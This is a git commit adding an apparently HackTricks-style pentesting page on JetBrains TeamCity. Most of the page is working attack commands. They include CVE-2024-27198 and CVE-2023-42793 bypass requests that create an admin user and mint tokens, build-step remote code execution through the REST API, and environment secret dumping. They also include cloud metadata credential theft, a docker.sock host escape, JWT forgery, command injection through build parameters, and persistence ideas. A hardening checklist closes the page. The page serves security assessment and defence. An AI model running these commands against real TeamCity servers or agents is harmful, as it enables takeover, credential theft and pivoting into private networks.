Add TeamCity CI/CD pentesting section

This commit is contained in:
Carlos Polop
2026-05-26 21:31:37 +02:00
parent 5704b992d8
commit e9b5f23f8a
3 changed files with 741 additions and 115 deletions
+1
View File
@@ -28,6 +28,7 @@
- [CircleCI Security](pentesting-ci-cd/circleci-security.md) - [CircleCI Security](pentesting-ci-cd/circleci-security.md)
- [TravisCI Security](pentesting-ci-cd/travisci-security/README.md) - [TravisCI Security](pentesting-ci-cd/travisci-security/README.md)
- [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md) - [Basic TravisCI Information](pentesting-ci-cd/travisci-security/basic-travisci-information.md)
- [TeamCity Security](pentesting-ci-cd/teamcity-security/README.md)
- [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md) - [Jenkins Security](pentesting-ci-cd/jenkins-security/README.md)
- [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md) - [Basic Jenkins Information](pentesting-ci-cd/jenkins-security/basic-jenkins-information.md)
- [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md) - [Jenkins RCE with Groovy Script](pentesting-ci-cd/jenkins-security/jenkins-rce-with-groovy-script.md)
@@ -106,118 +106,6 @@ Compromising a CI/CD pipeline or stealing credentials from it can let an attacke
- If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact. - If a compromised package is suspected, inspect the published tarball and not only the Git repository, because the malicious loader/runtime may exist only in the published artifact.
- Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches. - Hunt for unexpected package-manager execution inside CI such as `npm install` instead of `npm ci`, unexpected Bun downloads/execution, or new workflow artifacts generated from transient branches.
## TeamCity: public CI/CD to cloud/internal pivoting
A **publicly exposed TeamCity** should be treated as a potential **bridge into production credentials, cloud roles, and private subnets**. A practical attack chain is:
1. **Fingerprint TeamCity and test unauthenticated REST access.** In vulnerable TeamCity On-Prem versions **through 2023.11.3**, the auth bypass **CVE-2024-27198** can route requests through:
```http
GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
Host: <teamcity>:8111
Accept: application/json
```
If the response returns server metadata without a session, the instance is likely exploitable.
2. **Mint a persistent admin API token.** After confirming the bypass, create a token for a privileged user and switch to authenticated API abuse:
```http
POST /hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp HTTP/1.1
Host: <teamcity>:8111
Accept: application/json
Content-Type: application/json
```
3. **Dump build parameters and project secrets.** TeamCity projects often store **database URLs, deploy keys, JWT secrets, SaaS tokens, and cloud credentials** in cleartext parameters:
```http
GET /app/rest/projects/id:BackendApi/parameters HTTP/1.1
Authorization: Bearer <teamcity_token>
Accept: application/json
```
4. **Execute commands on build agents.** If you can create or modify a build configuration, the build agent becomes your execution proxy. Use it to dump environment variables, read mounted files, and query local metadata/services.
### TeamCity build agents on EC2: steal IMDS credentials
If the build agent runs on **EC2**, command execution often means **instance-profile credential theft**. For **IMDSv1**:
```bash
IMDS_ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IMDS_ROLE"
```
With the temporary credentials, validate **real impact** instead of stopping at discovery:
```bash
aws s3 ls
aws ssm describe-parameters
aws ssm get-parameter --name /prod/jwt-secret --with-decryption
aws ec2 describe-instances
aws rds describe-db-instances
```
Interesting loot after a CI/CD compromise:
- **S3 buckets** holding SQL dumps, build artifacts, legacy `.env` files, or static IAM keys
- **SSM Parameter Store** values with production secrets and internal hostnames
- **EC2 user-data** disclosing bootstrap credentials or deployment scripts
- **Describe** permissions that reveal private hosts, subnets, and RDS endpoints for the next pivot
> [!TIP]
> If you only need metadata from the instance itself, you can also inspect **EC2 user-data** and **instance profiles** from the stolen role using the AWS enumeration pages linked from the AWS section.
### Pivot into private services through the build agent
Do not treat a private subnet as a security boundary if the CI/CD agent already has legitimate reachability to it. The **build job itself** can be used as a **proxy** to enumerate and access internal HTTP services:
```bash
for path in /health /api/v1/orders /admin /metrics /debug /internal; do
curl -s -H "Authorization: Bearer $JWT" "http://internal-host:5000${path}"
done
```
This is especially useful after stealing a **shared HS256 JWT secret** from TeamCity parameters, SSM, user-data, or artifacts. Once the secret is known, **JWT claims are attacker-controlled input** even though the token is validly signed:
```python
import jwt, time
secret = 'hs256-internal-svc-do-not-share-2024'
payload = {'sub': 'admin', 'role': 'admin', 'iat': int(time.time()), 'exp': int(time.time()) + 86400}
print(jwt.encode(payload, secret, algorithm='HS256'))
```
Abuse paths after JWT forgery:
- Access internal endpoints that only check for a valid signature or `Authorization` header
- Escalate to admin-only routes when role/claim validation is weak
- Turn signed claims such as `sub` into a **SQL injection** vector if they are concatenated into backend queries
A raw error such as `invalid input syntax for type integer` plus leaked SQL like `WHERE user_id = 'admin'` strongly suggests the JWT claim is reaching SQL unsafely.
### TeamCity-specific dangerous debug surface
If `internal.properties` enables:
```properties
rest.debug.database.allow.query.prefixes=select
```
an attacker with an admin token can query TeamCity's internal database via REST and dump data such as user password hashes:
```http
GET /app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS HTTP/1.1
Authorization: Bearer <teamcity_token>
```
### Practical assessment takeaways
- A **TeamCity auth bypass** is rarely "just" a CI bug; it is often the **entry point** to cloud, secrets, and internal network compromise.
- A **scanner hit** (for example, a Nuclei template) should be followed by **token minting, secret review, build-agent execution, IMDS checks, cloud enumeration, and private-subnet pivoting**.
- Defensively, require **IMDSv2** with `HttpTokens=required`, avoid storing long-lived secrets in TeamCity parameters, and disable dangerous debug database query features.
## More relevant info
## More relevant info ## More relevant info
### Tools & CIS Benchmark ### Tools & CIS Benchmark
@@ -239,9 +127,6 @@ Check this interesting article about the top 10 CI/CD risks according to Cider:
## References ## References
- [JetBrains TeamCity: Additional Critical Security Issues Affecting TeamCity On-Premises (CVE-2024-27198 and CVE-2024-27199)](https://blog.jetbrains.com/teamcity/2024/03/additional-critical-security-issues-affecting-teamcity-on-premises-cve-2024-27198-and-cve-2024-27199-update-to-2023-11-4-now/)
- [AWS CLI: modify-instance-metadata-options](https://docs.aws.amazon.com/en_us/cli/latest/reference/ec2/modify-instance-metadata-options.html)
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
- [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422) - [https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github\&utm_medium=github_page\&utm_campaign=ci%2fcd%20goat_060422](https://www.cidersecurity.io/blog/research/ppe-poisoned-pipeline-execution/?utm_source=github&utm_medium=github_page&utm_campaign=ci%2fcd%20goat_060422)
- [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/) - [The npm Threat Landscape: Attack Surface and Mitigations](https://unit42.paloaltonetworks.com/monitoring-npm-supply-chain-attacks/)
- [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469) - [Checkmarx Security Update: April 22, 2026](https://checkmarx.com/blog/checkmarx-security-update-april-22/?p=108469)
@@ -0,0 +1,740 @@
# TeamCity Security
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
[TeamCity](https://www.jetbrains.com/teamcity/) is JetBrains' CI/CD server. It can run as **TeamCity Cloud** or as **TeamCity On-Premises**. In real environments the on-premises product is the most interesting target because it is commonly connected to private repositories, deployment credentials, internal networks, and cloud build agents.
A TeamCity installation is usually composed of:
- **TeamCity server**: the Java web application and scheduler. It stores users, permissions, projects, build configurations, VCS roots, tokens, artifacts metadata, build history, and integrations. The default HTTP port is **8111**.
- **Projects and subprojects**: containers for build configurations, templates, parameters, VCS roots, connections, and permissions.
- **Build configurations**: jobs that define VCS checkout rules, triggers, build steps, agent requirements, artifact rules, snapshot dependencies, and artifact dependencies.
- **Pipelines / Kotlin DSL / XML settings**: build configuration can be managed in the UI or stored in VCS, commonly in a `.teamcity/` directory using Kotlin DSL.
- **Build agents**: worker machines that poll the server, checkout code, receive build settings and secrets, run build steps, and publish logs/artifacts back to the server. An agent normally runs one build at a time and can be physical, VM, container, or cloud-launched.
- **Agent pools**: a way to restrict which projects can run on which agents. This is critical when public/untrusted builds and production deployment builds coexist.
- **VCS roots and connections**: GitHub, GitLab, Bitbucket, Azure DevOps, Perforce, Subversion, and other repository integrations. These often hold PATs, refreshable tokens, SSH keys, or OAuth-backed tokens.
- **Build parameters**: values available to configurations and builds. `env.*` parameters become environment variables, `system.*` parameters become system properties, and password parameters are masked but still usable by build code.
> [!WARNING]
> TeamCity itself documents that users who can change code executed by builds can do what the build-agent OS user can do, access resources on the agent, retrieve settings of configurations where their builds run, and potentially affect other projects sharing the same agent.
## Interesting Ports, Paths & Files
```bash
# Common TeamCity web ports
8111/tcp # Default HTTP TeamCity server
80/tcp # Often reverse-proxied TeamCity
443/tcp # HTTPS reverse proxy or configured HTTPS
```
Interesting URLs:
```text
/login.html
/app/rest/server
/app/rest/swagger.json
/guestAuth/app/rest/server
/guestAuth/repository/download/<BuildConfig>/<BuildID>:id/<artifact>
/admin/admin.html
/admin/diagnostic.jsp
/admin/agents.html
/admin/plugins.html
```
Interesting local paths after server compromise:
```text
# Linux defaults seen in common installs
/opt/TeamCity/logs/
/opt/TeamCity/webapps/ROOT/plugins/
/home/teamcity/.BuildServer/config/
/home/teamcity/.BuildServer/plugins/
/home/teamcity/.BuildServer/system/artifacts/
/home/teamcity/.BuildServer/system/buildserver.data
# Windows defaults seen in common installs
C:\TeamCity\logs\
C:\TeamCity\webapps\ROOT\plugins\
C:\ProgramData\JetBrains\TeamCity\config\
C:\ProgramData\JetBrains\TeamCity\plugins\
C:\ProgramData\JetBrains\TeamCity\system\artifacts\
C:\ProgramData\JetBrains\TeamCity\system\buildserver.data
```
Interesting local paths after agent compromise:
```text
<AGENT_HOME>/conf/buildAgent.properties
<AGENT_HOME>/logs/
<AGENT_HOME>/work/
<AGENT_HOME>/temp/
<AGENT_HOME>/system/
~/.git-credentials
~/.ssh/
~/.docker/config.json
~/.npmrc
~/.m2/settings.xml
~/.aws/
~/.config/gcloud/
```
## TeamCity Permissions To Care About
The exact permission model can be customized, but the important default roles are:
- **System Administrator**: full server control. Assume server OS compromise is possible because admins can change server settings, upload plugins, and access diagnostics.
- **Project Administrator**: controls a project and can usually create/edit build configurations, parameters, VCS roots, features, triggers, and agent requirements inside that project.
- **Project Developer**: can usually view configuration settings, run builds, and interact with build results. This can still be sensitive because configuration settings and runtime data often disclose secrets.
- **Project Viewer / Guest**: read-only access may still expose build logs, artifacts, project names, branch names, internal hostnames, and dependency paths.
> [!TIP]
> During a pentest, do not stop at "low-privileged TeamCity user". Check whether that user can run custom builds, select branches, customize parameters, view settings, view runtime parameters, download artifacts, or trigger deployment configurations.
## Initial Enumeration
### Fingerprint Exposed TeamCity
```bash
export TC="http://teamcity.example.com:8111"
curl -i "$TC/login.html"
curl -i "$TC/app/rest/server"
curl -i "$TC/guestAuth/app/rest/server"
curl -s "$TC/app/rest/swagger.json" | head
```
Useful signs:
- `TeamCity-Node-Id` HTTP header.
- Login page branding.
- `/app/rest/server` returns `401` when authentication is required.
- `/guestAuth/app/rest/server` works if guest access is enabled.
### REST API Enumeration With A Token
TeamCity REST API commonly uses `Authorization: Bearer <token>`.
```bash
export TC="https://teamcity.example.com"
export TCTOKEN="TC..."
alias tcurl='curl -sk -H "Authorization: Bearer $TCTOKEN" -H "Accept: application/json"'
tcurl "$TC/app/rest/server"
tcurl "$TC/app/rest/users/current"
tcurl "$TC/app/rest/users/current/roles"
tcurl "$TC/app/rest/projects?fields=project(id,name,parentProjectId,href,webUrl)"
tcurl "$TC/app/rest/buildTypes?fields=buildType(id,name,projectId,paused,webUrl)"
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/agents?fields=agent(id,name,type,connected,enabled,authorized,ip,href,pool(name),properties(property(name,value)))"
tcurl "$TC/app/rest/agentPools"
tcurl "$TC/app/rest/builds?locator=count:20&fields=build(id,number,status,state,branchName,buildTypeId,webUrl)"
```
For a build configuration:
```bash
export BT="id:Project_Build"
tcurl "$TC/app/rest/buildTypes/$BT"
tcurl "$TC/app/rest/buildTypes/$BT/parameters"
tcurl "$TC/app/rest/buildTypes/$BT/steps"
tcurl "$TC/app/rest/buildTypes/$BT/features"
tcurl "$TC/app/rest/buildTypes/$BT/triggers"
tcurl "$TC/app/rest/buildTypes/$BT/agent-requirements"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents"
```
### Guest Access Abuse
If guest login is enabled, TeamCity supports `/guestAuth/` URLs. By default, guest users have Project Viewer role for all projects unless changed.
```bash
curl -sk "$TC/guestAuth/app/rest/projects"
curl -sk "$TC/guestAuth/app/rest/buildTypes"
curl -sk "$TC/guestAuth/app/rest/builds?locator=count:50"
```
Look for:
- Build logs with secrets accidentally printed.
- Artifacts containing `.env`, packages, SBOMs, deployment manifests, Terraform plans, kubeconfigs, test reports, database dumps, or internal URLs.
- Project/build names that reveal cloud account names, production systems, regions, or internal service names.
- Commit metadata that identifies privileged developers or service users.
Example artifact download format:
```bash
curl -O "$TC/guestAuth/repository/download/Project_Build/12345:id/artifact.zip"
```
## Attacks
### Unauthenticated Takeover: CVE-2024-27198 / CVE-2024-27199
TeamCity On-Premises versions **through 2023.11.3** were affected by two authentication bypasses fixed in **2023.11.4**. CVE-2024-27198 is the critical one because it can expose authenticated REST endpoints to unauthenticated attackers.
Fingerprint the bypass with a harmless authenticated endpoint:
```bash
curl -ik "$TC/hax?jsp=/app/rest/server;.jsp"
```
If server metadata is returned without authentication, the instance is vulnerable. A common takeover path is to create an admin user or mint a token for an existing admin user:
```bash
curl -ik "$TC/hax?jsp=/app/rest/users;.jsp" \
-X POST \
-H "Content-Type: application/json" \
--data '{"username":"tc-redteam","password":"ChangeMe-12345!","email":"tc-redteam@example.com","roles":{"role":[{"roleId":"SYSTEM_ADMIN","scope":"g"}]}}'
```
```bash
curl -ik "$TC/hax?jsp=/app/rest/users/id:1/tokens/RedTeamToken;.jsp" -X POST
```
After this, continue as an authenticated TeamCity administrator: enumerate projects, collect secrets, execute builds on agents, inspect artifacts, and check cloud access from agents.
### Unauthenticated Takeover: CVE-2023-42793
TeamCity On-Premises versions before **2023.05.4** were affected by CVE-2023-42793. The practical impact was unauthenticated administrator-level access and RCE through TeamCity APIs. The widely abused path involved token creation through a route ending in `/RPC2`.
```bash
curl -ik -X POST "$TC/app/rest/users/id:1/tokens/RPC2"
```
If you are assessing incident impact, check for suspicious token creation, admin account creation, plugin upload/delete events, and process execution around the exposure window.
### Admin RCE By Uploading A Plugin
TeamCity server plugins are ZIP packages that extend server functionality. A System Administrator can upload a plugin from the UI under **Administration -> Plugins**, load it, and execute server-side Java code.
Abuse cases:
- Upload a malicious plugin for direct RCE on the **TeamCity server**, not just an agent.
- Use plugin load/delete as a short-lived execution path.
- Establish persistence through a plugin that looks like an internal integration.
Evidence to inspect:
```text
teamcity-activities.log
teamcity-server.log
<TeamCity Data Directory>/plugins/
<TeamCity Data Directory>/config/disabled-plugins.xml
<TeamCity Data Directory>/system/caches/plugins.unpacked/
<TeamCity Home>/webapps/ROOT/plugins/
```
### RCE By Creating Or Modifying Build Steps
If you can create or edit a build configuration, a TeamCity agent is your command execution target. The **Command Line / Script** runner is the most direct option.
Add a command line step through REST:
```bash
curl -sk "$TC/app/rest/buildTypes/$BT/steps" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"name": "diagnostics",
"type": "simpleRunner",
"properties": {
"property": [
{"name": "script.content", "value": "id; uname -a; env | sort"}
]
}
}'
```
Start the build:
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"}}'
```
Useful first commands on an agent:
```bash
id
hostname
pwd
env | sort
mount
ip addr || ifconfig
ip route || route print
find "$PWD" -maxdepth 3 -type f -name "*.env" -o -name "settings.xml" -o -name "config.json"
```
Windows agents:
```powershell
whoami /all
hostname
Get-ChildItem Env: | Sort-Object Name
ipconfig /all
route print
Get-ChildItem -Recurse -Force $env:USERPROFILE\.ssh,$env:USERPROFILE\.aws -ErrorAction SilentlyContinue
```
### Target A More Interesting Agent
Build configurations can have agent requirements, and custom builds may allow selecting a specific agent. This matters when one agent has production network reachability, Docker access, mobile signing keys, cloud roles, or deployment tooling.
Enumerate compatible agents:
```bash
tcurl "$TC/app/rest/buildTypes/$BT/compatibleAgents?fields=agent(id,name,ip,pool(name),properties(property(name,value)))"
```
Queue a build on a specific agent if your permissions allow it:
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{"buildType":{"id":"Project_Build"},"agent":{"id":"42"}}'
```
Or add an agent requirement to force a valuable agent class:
```bash
curl -sk "$TC/app/rest/buildTypes/$BT/agent-requirements" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"type":"equals",
"properties":{"property":[
{"name":"property-name","value":"teamcity.agent.name"},
{"name":"property-value","value":"prod-deploy-agent-01"}
]}
}'
```
### Dump Build Parameters & Password Parameters
Parameters are inherited from projects and templates, so enumerate both project and build configuration scopes:
```bash
tcurl "$TC/app/rest/projects/id:Project/parameters"
tcurl "$TC/app/rest/buildTypes/id:Project_Build/parameters"
```
Interesting names:
```text
env.AWS_ACCESS_KEY_ID
env.AWS_SECRET_ACCESS_KEY
env.GITHUB_TOKEN
env.NPM_TOKEN
env.DOCKER_AUTH_CONFIG
system.deploy.password
system.oauth.clientSecret
vcsroot.<id>.password
teamcity.configuration.properties.file
```
Important caveats:
- Password parameters are masked in UI/logs but any code that legitimately receives them can exfiltrate or transform them.
- Project administrators can often retrieve raw parameter values through settings access.
- TeamCity security notes warn that users who can modify build code can retrieve password values used by that build.
- If versioned settings are stored in VCS, users with access to the settings repo may recover values from scrambled/encrypted settings depending on the server encryption configuration and key exposure.
Build-step exfil pattern:
```bash
python3 - <<'PY'
import base64, os, json
interesting = {k:v for k,v in os.environ.items() if any(x in k.upper() for x in ["TOKEN","SECRET","PASSWORD","KEY","AWS","AZURE","GOOGLE","GITHUB","NPM","DOCKER"])}
print(base64.b64encode(json.dumps(interesting).encode()).decode())
PY
```
### Poison Versioned Settings / Kotlin DSL
If versioned settings are enabled and you can write to the branch/repository TeamCity trusts for `.teamcity/`, you can modify the pipeline definition itself.
Typical targets:
- Add a new `script` step to a build configuration.
- Change `agentRequirements` to run on a more privileged agent.
- Add artifact rules to publish sensitive files.
- Add snapshot/artifact dependencies to pull data from another build.
- Add VCS triggers for persistence.
- Change VCS roots or checkout rules.
Minimal Kotlin DSL malicious step:
```kotlin
import jetbrains.buildServer.configs.kotlin.*
import jetbrains.buildServer.configs.kotlin.buildSteps.script
object Build : BuildType({
name = "Build"
steps {
script {
name = "diagnostics"
scriptContent = "id; env | base64"
}
}
})
```
> [!CAUTION]
> This is one of the highest-impact TeamCity misconfigurations: storing build settings in the same repository as application source means anyone who can alter that source branch may be able to alter the CI/CD control plane.
### Pull Request / Untrusted Build Abuse
TeamCity can build pull requests from GitHub, GitLab, Bitbucket, Azure DevOps, and JetBrains Space. If a public repository is configured to build pull requests from **Everybody**, an external attacker may get code execution on a TeamCity agent by opening a PR.
Check for:
- Pull Requests build feature with permissive author filters.
- VCS triggers matching pull request branches such as `refs/pull/*`.
- Missing or disabled **Untrusted Builds** review.
- PR builds running on the same pools as trusted/prod builds.
- Password parameters or deployment credentials available to PR builds.
- Versioned settings loaded from PR branches.
Abuse primitives from untrusted code:
```bash
env | sort
echo "##teamcity[publishArtifacts '$PWD => workspace.zip']"
echo "##teamcity[setParameter name='env.PATH' value='/tmp/bin:%env.PATH%']"
```
Also review build scripts that interpolate PR-controlled values:
```text
%teamcity.pullRequest.title%
%teamcity.pullRequest.source.branch%
%teamcity.pullRequest.target.branch%
%teamcity.build.branch%
```
If those values are inserted into shell, PowerShell, SQL, Docker tags, package names, or deployment arguments without quoting/validation, test command injection and logic manipulation.
### Run Custom Build Parameter Injection
Users who cannot edit a build configuration may still be able to run custom builds with modified branch, agent, or parameter values.
```bash
curl -sk "$TC/app/rest/buildQueue" \
-X POST \
-H "Authorization: Bearer $TCTOKEN" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
--data '{
"buildType":{"id":"Project_Build"},
"branchName":"refs/heads/attacker-controlled-branch",
"properties":{"property":[
{"name":"env.DEPLOY_ENV","value":"prod; id #"},
{"name":"system.release.version","value":"1.2.3$(id)"}
]}
}'
```
Look for scripts like:
```bash
deploy --env %env.DEPLOY_ENV%
docker build -t registry/app:%system.release.version% .
git checkout %teamcity.build.branch%
```
### Service Message Abuse
TeamCity parses specially formatted output from build steps. If attacker-controlled code runs in a build, it can influence later steps and the server's understanding of the build.
Useful messages:
```bash
# Publish arbitrary files as artifacts
echo "##teamcity[publishArtifacts '/etc/passwd => loot/system.txt']"
# Modify parameters for following steps
echo "##teamcity[setParameter name='env.NEXT_STEP_FLAG' value='attacker-controlled']"
# Poison the build number displayed/published downstream
echo "##teamcity[buildNumber '9999-backdoored']"
# Hide noisy output in collapsed blocks
echo "##teamcity[blockOpened name='integration tests']"
echo "##teamcity[blockClosed name='integration tests']"
```
This becomes more dangerous when downstream release jobs trust build status, build number, tags, artifact names, or output parameters from an upstream job.
### Artifact & Dependency Poisoning
TeamCity build chains often move artifacts between builds. If you can influence an upstream build that publishes artifacts consumed by a privileged downstream build, try to poison:
- JAR/WAR/NuGet/npm/PyPI packages.
- Docker build contexts.
- Terraform plan files.
- Helm charts and Kubernetes manifests.
- SBOM/provenance files.
- Test fixtures or generated code consumed by later steps.
Publish a controlled artifact from a build:
```bash
mkdir -p out
cp payload.jar out/app.jar
echo "##teamcity[publishArtifacts 'out/** => release.zip']"
```
Then inspect artifact dependencies:
```bash
tcurl "$TC/app/rest/buildTypes/$BT/artifact-dependencies"
tcurl "$TC/app/rest/buildTypes/$BT/snapshot-dependencies"
```
### Agent Cloud Pivoting
If the agent runs in AWS, Azure, GCP, Kubernetes, or an internal VM network, the build is a pivot point.
AWS IMDS:
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/
ROLE=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```
Fallback if IMDSv1 is allowed:
```bash
ROLE=$(curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/)
curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE"
```
Azure IMDS:
```bash
curl -s -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
curl -s -H Metadata:true "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
```
GCP metadata:
```bash
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/"
SA=$(curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/")
curl -s -H "Metadata-Flavor: Google" "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/${SA}token"
```
Kubernetes:
```bash
ls -la /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/token
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
```
Docker escape checks:
```bash
ls -la /var/run/docker.sock
docker ps
docker run --rm -it -v /:/host alpine chroot /host sh
```
### Pivot Into Internal Services
Build agents often have reachability to package registries, artifact stores, deployment APIs, databases, and internal admin panels.
```bash
for h in vault.service.consul nexus.internal registry.internal kube-api.internal grafana.internal; do
echo "### $h"
curl -sk --connect-timeout 2 "https://$h/" | head
done
```
After stealing a shared JWT/HMAC secret from TeamCity parameters, cloud secret stores, artifacts, or repo files, forge tokens for weak internal services:
```python
import jwt, time
secret = "leaked-hs256-secret"
payload = {"sub":"admin","role":"admin","iat":int(time.time()),"exp":int(time.time())+3600}
print(jwt.encode(payload, secret, algorithm="HS256"))
```
### VCS Root & Repository Credential Abuse
VCS roots and connections are often more valuable than TeamCity itself.
Look for:
- HTTP(S) VCS roots using username/password or PAT.
- SSH private keys uploaded to TeamCity.
- GitHub App / OAuth / refreshable token connections.
- Commit Status Publisher tokens.
- Pull Request feature tokens.
- Build steps that write to repositories, tags, releases, packages, or workflow files.
REST enumeration:
```bash
tcurl "$TC/app/rest/vcs-roots?fields=vcs-root(id,name,vcsName,project(id,name),properties(property(name,value)))"
tcurl "$TC/app/rest/projects/id:Project/features"
```
Post-compromise impact:
- Push malicious commits/tags to repositories.
- Move release tags.
- Publish malicious package versions.
- Read private repos the tester did not originally have access to.
- Add CI/CD config for another platform such as GitHub Actions.
- Open/merge PRs using the service identity if it has write access.
### Debug & Diagnostics Endpoints
Some dangerous debug functionality is guarded by admin permissions and internal properties. If enabled, it can expose the TeamCity database or process execution.
Example database query setting:
```properties
rest.debug.database.allow.query.prefixes=select
```
If this is enabled, an admin token may query internal data:
```bash
curl -sk "$TC/app/rest/debug/database/query/SELECT+ID,USERNAME,PASSWORD+FROM+USERS" \
-H "Authorization: Bearer $TCTOKEN"
```
Also inspect whether `/app/rest/debug/processes` is reachable to your role. Treat any enabled debug endpoint as a potential direct server compromise path.
### Agent-Server Trust & Rogue Agent Angles
Agents poll the server and receive build settings, repository sources, access credentials/keys, build logs, and artifact data. If agent-to-server communication is plain HTTP or an attacker controls the network path, secrets and source code may be exposed.
Check:
```bash
grep -i '^serverUrl=' <AGENT_HOME>/conf/buildAgent.properties
grep -i 'authorizationToken\|name=' <AGENT_HOME>/conf/buildAgent.properties
```
Abuse paths:
- Compromise one agent and inspect work directories for other projects if agents are reused.
- Modify checked-out source or cached dependencies for later builds if clean checkout is not enforced.
- Steal the agent authorization token/configuration.
- Register a rogue agent if you have permissions to authorize project agents or if admins automatically authorize new agents.
- Impersonate an existing agent from a compromised host.
### Logs, Artifacts & Data Directory As Secrets
TeamCity security notes explicitly warn that read access to the TeamCity Data Directory, server logs, or build artifacts can expose secrets or lead to administrator escalation.
One specific escalation path is **Super User Access**: TeamCity can allow login as a system administrator with a token written to `teamcity-server.log`. If logs are shipped to a weakly protected log platform or readable by non-admin OS users, search for super-user tokens.
Hunt:
```bash
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" /opt/TeamCity/logs 2>/dev/null
grep -RaiE "token|secret|password|authorization: bearer|aws_access_key|BEGIN .*PRIVATE KEY" ~/.BuildServer/config ~/.BuildServer/system/artifacts 2>/dev/null
```
Build logs often contain:
- Expanded command lines.
- Failed deployment commands with credentials in arguments.
- Docker login output.
- npm/pip/maven publishing errors.
- Cloud CLI debug output.
- Internal service URLs.
### Persistence Ideas
Useful persistence techniques during an authorized red team assessment:
- Create an access token with a plausible name under a service/admin user.
- Add a low-noise build trigger to a rarely reviewed configuration.
- Add a project parameter used by an existing deployment step.
- Add a hidden or disabled build step that can be re-enabled later.
- Add a new VCS root or connection under a legitimate project.
- Add a plugin that resembles an internal integration.
- Add a new agent pool / cloud profile / agent requirement that routes builds to attacker-controlled infrastructure.
- Modify Kotlin DSL in a settings repository.
Things defenders should review after a TeamCity compromise:
```text
teamcity-activities.log
teamcity-server.log
teamcity-javaLogging*.log
User access tokens
Recently created users/groups/roles
Plugin upload/load/delete events
Build configuration diffs
Versioned settings commits
VCS root credential changes
Agent authorization changes
Build triggers and schedules
Suspicious artifact publications
```
## Hardening Checklist
- Keep TeamCity On-Premises fully updated; exposed servers with old auth bypasses are high-value targets.
- Do not expose TeamCity directly to the internet unless strong access controls, SSO/MFA, network filtering, and rapid patching are in place.
- Disable Guest Login on production servers.
- Disable Super User Access with `teamcity.superUser.disable=true` if server logs are exported or broadly readable.
- Use least-privilege groups and custom roles instead of broad Project Administrator grants.
- Use short-lived scoped tokens for REST automation.
- Keep build settings in a separate protected repository if using versioned settings.
- Treat PR builds from forks as hostile; use Untrusted Builds, manual approval, and isolated disposable agents.
- Separate public/untrusted builds from deployment builds with dedicated agent pools.
- Use disposable agents and enforce clean checkout for sensitive builds.
- Avoid long-lived cloud/static credentials in parameters; prefer cloud OIDC/workload identity where possible.
- Require IMDSv2 on AWS agents and restrict metadata access from containers.
- Run agents as low-privileged OS users and avoid mounting Docker socket unless strictly required.
- Use HTTPS for agent-to-server traffic.
- Restrict plugin installation to trusted admins and review plugin changes.
